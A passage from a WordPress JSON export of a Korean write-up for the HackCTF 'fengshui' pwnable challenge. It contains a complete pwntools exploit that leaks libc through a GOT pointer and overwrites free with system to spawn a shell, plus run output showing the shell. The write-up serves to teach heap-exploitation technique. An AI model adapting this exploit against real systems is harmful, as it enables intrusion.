hex(leak))\nl.address = leak - l.sym.free\nprint(\"libc base: \"+ hex(l.address))\n\nupdate_location_desc(idx=1, text_len=4, text=p32(l.sym.system))\n\ndelete_location(2)\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">solve.py (Local)<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/env python3\nimport sys, io\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')\nsys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace')\n\nfrom pwn import *\n# context.log_level = 'debug'\ncontext(arch='i386', os='linux')\nwarnings.filterwarnings('ignore')\n\np = process(\".\/fengshui\")\n# p = remote(\"challenge.nahamcon.com\", 31899)\ne = ELF('.\/fengshui',checksec=False)\nl = ELF('\/lib\/i386-linux-gnu\/libc-2.23.so', checksec=False)\n# l = ELF('.\/libc.so.6', checksec=False)\n\ns = lambda str: p.send(str)\nsl = lambda str: p.sendline(str)\nsa = lambda delims, str: p.sendafter(delims, str)\nsla = lambda delims, str: p.sendlineafter(delims, str)\nr = lambda numb=4096: p.recv(numb)\nrl = lambda: p.recvline()\nru = lambda delims: p.recvuntil(delims)\nuu32 = lambda data: u32(data.ljust(4, b\"\\\\x00\"))\nuu64 = lambda data: u64(data.ljust(8, b\"\\\\x00\"))\nli = lambda str, data: log.success(str + \"========>\" + hex(data))\nip = lambda: input()\npi = lambda: p.interactive()\n\ndef add_location(desc_size, name, text_len, text):\n    sla(b\"Choice: \", b\"0\")\n    sla(\"Size of description: \", str(desc_size))\n    sla(b\"Name: \", name)\n    sla(\"Text length: \", str(text_len))\n    sla(b\"Text: \", text)\n\ndef delete_location(idx):\n    sla(b\"Choice: \", b\"1\")\n    sla(\"Index: \", str(idx))\n\ndef display_location(idx):\n    sla(b\"Choice: \", b\"2\")\n    sla(\"Index: \", str(idx))\n\ndef update_location_desc(idx, text_len, text):\n    sla(b\"Choice: \", b\"3\")\n    sla(\"Index: \", str(idx))\n    sla(\"Text length: \", str(text_len))\n    sla(b\"Text: \", text)\n\ndef exit():\n    sla(b\"Choice: \", b\"4\")\n\n#EXAMPLE\n# add_location(desc_size=30, name=b\"A\"*4, text_len=4, text=b\"a\"*4)\n# update_location_desc(idx=0, text_len=30, text=\"B\"*8)\n# display_location(0)\n# delete_location(0)\n\nfor i in range(3):\n    # ip()\n    add_location(desc_size=0x10, name=b\"A\"*8, text_len=0x8, text=b\"\/bin\/sh\\\\x00\")\n\ndelete_location(0)\n\n# ip()\npay = b\"b\"*0xa0 + p32(e.got.free)\nadd_location(desc_size=0x30, name=b\"B\"*8, text_len=len(pay), text=pay)\n\ndisplay_location(1)\n\nru(b\"Description: \")\nleak = r(4)\nleak = uu32(leak)\nprint(\"leak: \"+ hex(leak))\nl.address = leak - l.sym.free\nprint(\"libc base: \"+ hex(l.address))\n\nupdate_location_desc(idx=1, text_len=4, text=p32(l.sym.system))\n\ndelete_location(2)\n\npi()\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Result<\/h3>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">ubuntu@e31c3240ce98:~\/study\/fengshui$ python3 solve.py\n[+] Starting local process '.\/fengshui': pid 1857\n[!] Could not populate PLT: invalid syntax (unicorn.py, line 157)\n[!] Could not populate PLT: invalid syntax (unicorn.py, line 157)\nleak: 0xf7e83530\nlibc base: 0xf7e12000\n[*] Switching to interactive mode\n$ id\nuid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)\n$ whoami\nubuntu\n$ uname -a\nLinux e31c3240ce98 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025 x86_64 x86_64 x86_64 GNU\/Linux\n$ \n[*] Interrupted\n[*] Stopped process '.\/fengshui' (pid 1857)\nubuntu@e31c3240ce98:~\/study\/fengshui$ \n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Heap Fengshui? \uc120\ud0dd\ub41c \ud06c\uae30\uc758 \ud799 \ud560\ub2f9\uc744 \ub9cc\ub4e4\uc5b4 \ud799\uc758 \ub808\uc774\uc544\uc6c3\uc744 \uc870\uc791\ud558\ub294 \uae30\ubc95 Source https:\/\/github.com\/koharin\/pwnable2\/tree\/main\/hackCTF\/pwnable\/fengshui checksec Decompiled-src \/ Anlaysis main \uc544\ub798\uc640 \uac19\uc774 4\uac00\uc9c0 \uba54\ub274\uac00 \uc874\uc7ac\ud55c\ub2e4. size of description\uacfc index\ub294 main \ud568\uc218\uc5d0\uc11c \uc785\ub825\ubc1b\ub294\ub2e4.&hellip;&nbsp;<a href=\"https:\/\/h4ck.kr\/?p=3894\" rel=\"bookmark\">\ub354 \ubcf4\uae30 &raquo;<span class=\"screen-reader-text\">[HackCTF] \ud48d\uc218\uc9c0\ub9ac\uc124 (heap fengshui?)<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[19],"tags":[78,73,35,25],"class_list":["post-3894","post","type-post","status-publish","format-standard","hentry","category-ctf-private","tag-fengshui","tag-glibc_2-23","tag-heap","tag-pwnable"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3894","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3894"}],"version-history":[{"count":2,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3894\/revisions"}],"predecessor-version":[{"id":3898,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3894\/revisions\/3898"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3894"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3894"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3894"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}